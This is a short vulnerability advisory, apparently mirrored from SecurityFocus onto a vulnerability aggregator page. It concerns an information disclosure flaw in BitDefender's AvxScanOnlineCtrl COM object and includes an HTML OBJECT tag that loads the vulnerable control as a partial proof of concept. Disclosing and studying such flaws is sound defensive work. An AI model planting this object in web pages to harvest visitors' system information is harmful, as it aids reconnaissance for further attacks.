Softwin BitDefender AvxScanOnlineCtrl COM Object Information Disclosure Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

BitDefender AvxScanOnlineCtrl COM Object Information Disclosure Vulnerabilit


                                                source: http://www.securityfocus.com/bid/10175/info

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by an information disclosure vulnerability. This issue is due to a design error that allows a remote user to execute a method in the offending object that provides access to unauthorized information.

This issue would allow an attacker to gain access system information that may be used to aid in further attacks.

&#60;OBJECT id=seemycomputer
codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,
1
hspace=0 vspace=0 align=&#34;top&#34;
classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA
width=405 height=180&#62;
&#60;PARAM NAME=&#34;_ExtentX&#34; VALUE=&#34;6614&#34;&#62;
&#60;PARAM NAME=&#34;_ExtentY&#34; VALUE=&#34;4498&#34;&#62;
&#60;PARAM NAME=&#34;_StockProps&#34; VALUE=&#34;9&#34;&#62;
&#60;PARAM NAME=&#34;ForeColor&#34; VALUE=&#34;0&#34;&#62;
&#60;PARAM NAME=&#34;BackColor&#34; VALUE=&#34;16777215&#34;&#62;&#60;/OBJECT&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1